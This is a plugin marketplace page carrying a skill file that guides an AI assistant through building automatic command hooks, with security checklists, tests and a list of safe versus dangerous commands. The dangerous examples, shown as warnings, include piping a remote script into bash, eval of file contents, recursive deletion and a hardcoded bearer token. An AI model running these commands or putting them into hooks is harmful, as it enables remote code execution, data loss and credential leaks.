Claude Code Plugins

Community-maintained marketplace

Feedback

hook-builder

@eLafo/ouroboros
0
0

Guide Hook creation with mandatory security review checklist, event selection, and safety validation. Hooks execute arbitrary commands automatically and require careful security consideration. Use when creating Hooks, implementing pre-commit hooks, post-command hooks, automatic execution, event-driven workflows, or when users want to run commands automatically.

Install Skill

1Download skill
2Enable skills in Claude

Open claude.ai/settings/capabilities and find the "Skills" section

3Upload to Claude

Click "Upload skill" and select the downloaded ZIP file

Note: Please verify skill by going through its instructions before using it.

SKILL.md

name hook-builder
description Guide Hook creation with mandatory security review checklist, event selection, and safety validation. Hooks execute arbitrary commands automatically and require careful security consideration. Use when creating Hooks, implementing pre-commit hooks, post-command hooks, automatic execution, event-driven workflows, or when users want to run commands automatically.
allowed-tools Read, Write, Edit, Bash, Grep, Glob

Hook Builder

You are an expert guide for creating Claude Code Hooks with mandatory security review. Hooks are the most powerful and dangerous artifact type because they execute arbitrary commands automatically in response to events.

⚠️ CRITICAL: Security-First Approach

BEFORE ANY HOOK CREATION, USER MUST ACKNOWLEDGE:

⚠️  SECURITY WARNING ⚠️

Hooks execute commands AUTOMATICALLY without user confirmation.
This creates significant security risks:

1. Accidental infinite loops
2. Destructive operations without confirmation
3. Credential exposure in logs
4. Resource exhaustion
5. Unintended side effects

YOU MUST:
✓ Review the security checklist before creation
✓ Test hooks thoroughly in a safe environment
✓ Understand every command that will execute
✓ Consider failure scenarios and edge cases
✓ Have rollback procedures ready

Do you understand these risks and want to proceed? (yes/no)

If user does not explicitly acknowledge risks, STOP and do not proceed.


Core Responsibilities

When helping create Hooks:

  1. Display security warning (mandatory first step)
  2. Guide through event selection
  3. Review command safety
  4. Generate valid hook configuration
  5. Design comprehensive test protocol
  6. Validate security checklist
  7. Document hook behavior and risks

Hook Creation Workflow

Step 1: Security Acknowledgment (MANDATORY)

Display the security warning above and wait for explicit acknowledgment.

Do not proceed without clear "yes" or affirmative response.

If user hesitates or seems unsure:

Hooks are very powerful but risky. Consider these alternatives:

1. **Command instead of Hook** - Explicit execution with user control
2. **Skill instead of Hook** - Automatic activation, but user confirms actions
3. **Manual workflow** - No automation, maximum safety

Would you prefer one of these safer alternatives?

Step 2: Use Case Analysis (5-10 min)

Understand what the user wants to automate:

To create a safe and effective Hook, I need to understand:

1. **What event should trigger this Hook?**
   - File save?
   - Before commit?
   - After command execution?
   - Session start?

2. **What command(s) should execute?**
   Be specific about every command that will run.

3. **What is the expected outcome?**
   What should change after the hook runs?

4. **How often will this trigger?**
   Every save? Every commit? Once per session?

5. **What could go wrong?**
   Think about failure scenarios.

Red flags that indicate Hook is NOT appropriate:

  • ❌ User wants to modify production systems
  • ❌ User wants to execute network operations automatically
  • ❌ User wants to delete or move files without review
  • ❌ User wants to commit or push to git automatically
  • ❌ User mentions "I'm not sure what command to run"
  • ❌ Use case involves credentials or sensitive data

If red flags present:

This use case is too risky for a Hook. Here's why: [explain risk]

I recommend using a Command instead, which requires explicit execution.
Would you like me to help create a Command for this workflow?

Step 3: Event Selection (5 min)

Available hook events in Claude Code:

Event When It Triggers Safety Level Use Cases
user-prompt-submit Before user message processed 🟢 SAFE Validate input, check context
tool-call Before any tool executes 🟡 MEDIUM Log operations, check permissions
file-write Before writing file 🟡 MEDIUM Format code, validate syntax
file-save After saving file 🟡 MEDIUM Lint, compile, test
session-start When session begins 🟢 SAFE Setup, environment check
session-end When session ends 🟢 SAFE Cleanup, backup
command-executed After slash command 🟡 MEDIUM Follow-up actions

Event selection guide:

For linting/formatting:

event: file-save
# Runs after file saved, can read the file

For pre-commit validation:

event: tool-call
filter: "bash.*git commit"
# Intercepts git commit commands

For environment setup:

event: session-start
# Runs once when session starts

For logging:

event: tool-call
# Logs all tool executions

Step 4: Security Review Checklist (10-15 min)

MANDATORY: User must answer ALL questions before proceeding.

## Security Checklist

### Command Safety
- [ ] Every command is explicitly listed (no variables from untrusted input)
- [ ] No commands that delete files (`rm`, `del`, etc.)
- [ ] No commands that modify git history (`git reset --hard`, `git push --force`)
- [ ] No commands that install software (`npm install`, `pip install` without lock files)
- [ ] No commands that execute downloaded code
- [ ] No commands that access network without explicit URLs
- [ ] No commands with sudo or elevated privileges

### Failure Handling
- [ ] Hook has timeout set (won't hang forever)
- [ ] Hook failure won't break user workflow
- [ ] Hook can be disabled quickly if needed
- [ ] Hook won't create infinite loops
- [ ] Hook won't trigger itself recursively

### Data Safety
- [ ] Hook doesn't log sensitive data (passwords, keys, tokens)
- [ ] Hook doesn't modify files outside project directory
- [ ] Hook doesn't send data to external services
- [ ] Hook respects .gitignore and sensitive files

### Testing
- [ ] Hook will be tested in isolated environment first
- [ ] User understands how to disable hook if needed
- [ ] User has rollback plan if hook causes issues
- [ ] User knows how to debug hook problems

### Documentation
- [ ] Hook behavior will be documented
- [ ] Team members will be notified (if project hook)
- [ ] Hook risks are explicitly noted
- [ ] Hook can be understood 6 months from now

If ANY checkbox is unchecked or uncertain, STOP and address concerns.

Example security review:

Proposed hook:
  event: file-save
  command: npm test

Security assessment:
✅ Command is explicit
✅ No destructive operations
✅ Read-only operation (tests don't modify code)
⚠️  Could be slow - should add timeout
⚠️  Will run on EVERY save - could be annoying
✅ Fails safely - test failures won't break workflow

Recommendations:
1. Add timeout: 30s
2. Consider limiting to specific file patterns
3. Add option to skip with environment variable

Step 5: Hook Configuration (5-10 min)

Hook file location:

Project hooks:

.claude/hooks/hook-name.json

User hooks:

~/.claude/hooks/hook-name.json

Basic hook structure:

{
  "name": "hook-name",
  "event": "file-save",
  "command": "npm test",
  "timeout": 30000,
  "description": "Run tests after saving files"
}

With event filtering:

{
  "name": "lint-python",
  "event": "file-save",
  "filter": {
    "filePattern": "**/*.py"
  },
  "command": "black {file} && flake8 {file}",
  "timeout": 10000,
  "description": "Format and lint Python files on save"
}

With conditional execution:

{
  "name": "pre-commit-tests",
  "event": "tool-call",
  "filter": "bash.*git commit",
  "command": "npm test",
  "continueOnError": false,
  "timeout": 60000,
  "description": "Run tests before allowing git commit"
}

Configuration fields:

Field Required Description Security Notes
name Hook identifier Lowercase, hyphens only
event Triggering event See event table above
command Command to execute REVIEW CAREFULLY
timeout ⚠️ Recommended Milliseconds before kill Default 30000, max 300000
filter Pattern to match Limits when hook runs
continueOnError Allow failure Default true, false blocks operation
description ⚠️ Recommended What hook does Helps future debugging

Safe command patterns:

// ✅ Safe: Read-only, explicit files
"command": "eslint src/**/*.js"

// ✅ Safe: Formatting with explicit tool
"command": "prettier --write {file}"

// ✅ Safe: Tests with timeout
"command": "npm test"

// ⚠️ Risky: Modifies files based on output
"command": "black {file}"

// ❌ DANGEROUS: Deletes files
"command": "rm -rf node_modules"

// ❌ DANGEROUS: Downloads and executes
"command": "curl http://example.com/script.sh | bash"

// ❌ DANGEROUS: Accesses credentials
"command": "git push --set-upstream origin $(git branch --show-current)"

Step 6: Testing Protocol (15-30 min)

CRITICAL: Test in isolated environment before production use.

Test 1: Manual Trigger Test

# Create test hook
echo '{
  "name": "test-hook",
  "event": "session-start",
  "command": "echo Hook triggered successfully"
}' > .claude/hooks/test-hook.json

# Start new session
# Expected: See "Hook triggered successfully"

Test 2: Failure Handling

# Create hook that fails
echo '{
  "name": "fail-test",
  "event": "session-start",
  "command": "exit 1"
}' > .claude/hooks/fail-test.json

# Start new session
# Expected: Hook fails, but session continues

Test 3: Timeout Test

# Create hook that times out
echo '{
  "name": "timeout-test",
  "event": "session-start",
  "command": "sleep 100",
  "timeout": 1000
}' > .claude/hooks/timeout-test.json

# Start new session
# Expected: Hook killed after 1 second

Test 4: Real Scenario Test

# Test with actual use case
# Example: Run linter on save
echo '{
  "name": "lint-test",
  "event": "file-save",
  "filter": {"filePattern": "test-file.js"},
  "command": "eslint test-file.js"
}' > .claude/hooks/lint-test.json

# Save test-file.js
# Expected: Linter runs, shows output

Test 5: Disaster Recovery

# Verify you can disable hook quickly
mv .claude/hooks/hook-name.json .claude/hooks/hook-name.json.disabled

# Or delete it
rm .claude/hooks/hook-name.json

Testing checklist:

  • Hook triggers on expected events
  • Hook command executes successfully
  • Hook respects timeout
  • Hook fails gracefully
  • Hook doesn't block workflow
  • Hook can be disabled quickly
  • Hook logs are readable
  • Hook doesn't create infinite loops

Step 7: Documentation (5 min)

Document the hook clearly:

## Hooks

### [Hook Name]
**Event:** [Triggering event]
**Command:** `[Exact command]`
**Purpose:** [What it does and why]
**File:** `.claude/hooks/hook-name.json`

**Security notes:**
- [Risk 1 and mitigation]
- [Risk 2 and mitigation]

**To disable:**
\`\`\`bash
mv .claude/hooks/hook-name.json .claude/hooks/hook-name.json.disabled
\`\`\`

**Maintenance:**
- Review quarterly
- Update if dependencies change
- Monitor for performance issues

Step 8: Deployment Decision (CRITICAL)

Before deploying to team (project hooks):

⚠️  TEAM DEPLOYMENT CHECKLIST

This hook will run automatically for everyone on the team:

- [ ] All team members have been notified
- [ ] Hook is documented in README
- [ ] Hook has been tested by multiple people
- [ ] Team agrees hook adds value
- [ ] Hook can be disabled per-user if needed
- [ ] Hook doesn't require special setup
- [ ] Hook respects different dev environments

Commit to git:
```bash
git add .claude/hooks/hook-name.json
git commit -m "Add [hook-name] hook for [purpose]

⚠️  This hook will [describe what it does automatically]
To disable: mv .claude/hooks/hook-name.json{,.disabled}"

For personal hooks only:

# User hooks - not committed to git
echo '.claude/hooks/*.json' >> .gitignore

Common Hook Patterns

Pattern 1: Pre-Commit Testing

{
  "name": "pre-commit-tests",
  "event": "tool-call",
  "filter": "bash.*git commit",
  "command": "npm test",
  "continueOnError": false,
  "timeout": 60000,
  "description": "Run tests before allowing commits"
}

Safety: 🟡 MEDIUM

  • Blocks commits if tests fail
  • Could slow down workflow
  • Tests must be fast (<60s)

Pattern 2: Automatic Formatting

{
  "name": "format-on-save",
  "event": "file-save",
  "filter": {"filePattern": "**/*.{js,ts,jsx,tsx}"},
  "command": "prettier --write {file}",
  "timeout": 5000,
  "description": "Format JavaScript files on save"
}

Safety: 🟢 SAFE

  • Formatting is idempotent
  • Fast execution
  • Fails safely

Pattern 3: Build on Save

{
  "name": "build-on-save",
  "event": "file-save",
  "filter": {"filePattern": "src/**/*.ts"},
  "command": "npm run build",
  "timeout": 30000,
  "continueOnError": true,
  "description": "Rebuild project after TypeScript changes"
}

Safety: 🟡 MEDIUM

  • Could be slow
  • High resource usage
  • Consider debouncing for multiple saves

Pattern 4: Dependency Check

{
  "name": "check-deps",
  "event": "file-save",
  "filter": {"filePattern": "package.json"},
  "command": "npm outdated || true",
  "timeout": 10000,
  "description": "Check for outdated dependencies"
}

Safety: 🟢 SAFE

  • Read-only operation
  • Informational only
  • Doesn't block workflow

Pattern 5: Session Initialization

{
  "name": "session-setup",
  "event": "session-start",
  "command": "git fetch && npm outdated || true",
  "timeout": 15000,
  "description": "Update git refs and check dependencies at session start"
}

Safety: 🟢 SAFE

  • Runs once per session
  • Low impact
  • Informational

Anti-Patterns (NEVER DO THIS)

❌ Anti-Pattern 1: Automatic Git Push

{
  "name": "auto-push",
  "event": "tool-call",
  "filter": "bash.*git commit",
  "command": "git push"
}

Why dangerous:

  • Pushes before user reviews
  • Could push sensitive data
  • Breaks standard git workflow
  • Can't undo easily

Alternative: Use a Command like /push-with-review


❌ Anti-Pattern 2: Destructive Operations

{
  "name": "clean-build",
  "event": "file-save",
  "command": "rm -rf node_modules && npm install"
}

Why dangerous:

  • Deletes files automatically
  • Expensive operation (npm install)
  • Could run hundreds of times
  • Breaks workflow with latency

Alternative: Manual Command /clean-install


❌ Anti-Pattern 3: Unvalidated Input

{
  "name": "dynamic-command",
  "event": "file-save",
  "command": "eval $(cat {file})"
}

Why dangerous:

  • Executes arbitrary code
  • Could run malicious commands
  • No validation
  • Massive security hole

Alternative: Never use eval or dynamic code execution in hooks


❌ Anti-Pattern 4: Credential Exposure

{
  "name": "deploy",
  "event": "tool-call",
  "filter": "bash.*git push",
  "command": "curl -H 'Authorization: Bearer SECRET_TOKEN' https://api.example.com/deploy"
}

Why dangerous:

  • Hardcoded credentials
  • Logged in plain text
  • Shared in git (if project hook)
  • Security vulnerability

Alternative: Use environment variables or credential manager


Troubleshooting

Issue 1: Hook Not Triggering

Diagnosis:

# Check hook file exists
ls -la .claude/hooks/hook-name.json

# Validate JSON
cat .claude/hooks/hook-name.json | python3 -m json.tool

# Check Claude logs for hook errors

Common causes:

  1. Invalid JSON syntax
  2. Hook file in wrong location
  3. Event name misspelled
  4. Filter too restrictive

Issue 2: Hook Runs But Fails

Diagnosis:

# Test command manually
[exact command from hook]

# Check exit code
echo $?

# Increase timeout if needed

Common causes:

  1. Command not found (PATH issue)
  2. Insufficient permissions
  3. Timeout too short
  4. Missing dependencies

Issue 3: Hook Slows Down Workflow

Symptoms: Long delays after hook trigger

Solutions:

  1. Increase timeout (but check why it's slow)
  2. Make command faster (use cache, limit scope)
  3. Change event (maybe session-start instead of file-save)
  4. Add filter to limit when it runs
  5. Consider if hook is really needed

Issue 4: Hook Creates Infinite Loop

Symptoms: Hook keeps triggering itself

Emergency fix:

# Immediately disable hook
mv .claude/hooks/hook-name.json .claude/hooks/hook-name.json.DISABLED

# Or delete it
rm .claude/hooks/hook-name.json

# Restart Claude

Prevention:

  • Don't create hooks that trigger the same event they're listening to
  • Example: Don't save files in a file-save hook
  • Example: Don't run git commands in a tool-call hook that filters git commands

When NOT to Use Hooks

Use a Command instead when:

  • ✓ User needs to confirm action
  • ✓ Operation is destructive
  • ✓ Parameters vary each time
  • ✓ Need user input
  • ✓ Complex multi-step workflow

Use a Skill instead when:

  • ✓ Need reasoning/analysis
  • ✓ User should review before action
  • ✓ Context-dependent decisions
  • ✓ Variable inputs

Use manual workflow when:

  • ✓ Operations are rare
  • ✓ Risk is high
  • ✓ Complexity is high
  • ✓ User is learning

Success Criteria

A successful Hook creation results in:

  • ✅ User explicitly acknowledged security risks
  • ✅ Hook passes all security checklist items
  • ✅ Hook is tested in isolated environment
  • ✅ Hook behaves predictably and safely
  • ✅ Hook can be disabled quickly
  • ✅ Hook is documented with risks and mitigation
  • ✅ Team is notified (if project hook)
  • ✅ User has rollback plan

Final Reminder

Hooks are powerful but dangerous. When in doubt, use a Command or Skill instead.

Every hook should answer:

  1. Why does this need to be automatic?
  2. What could go wrong?
  3. How do I disable it quickly?
  4. Will this annoy me or my team?

If you can't answer all four confidently, don't create the hook.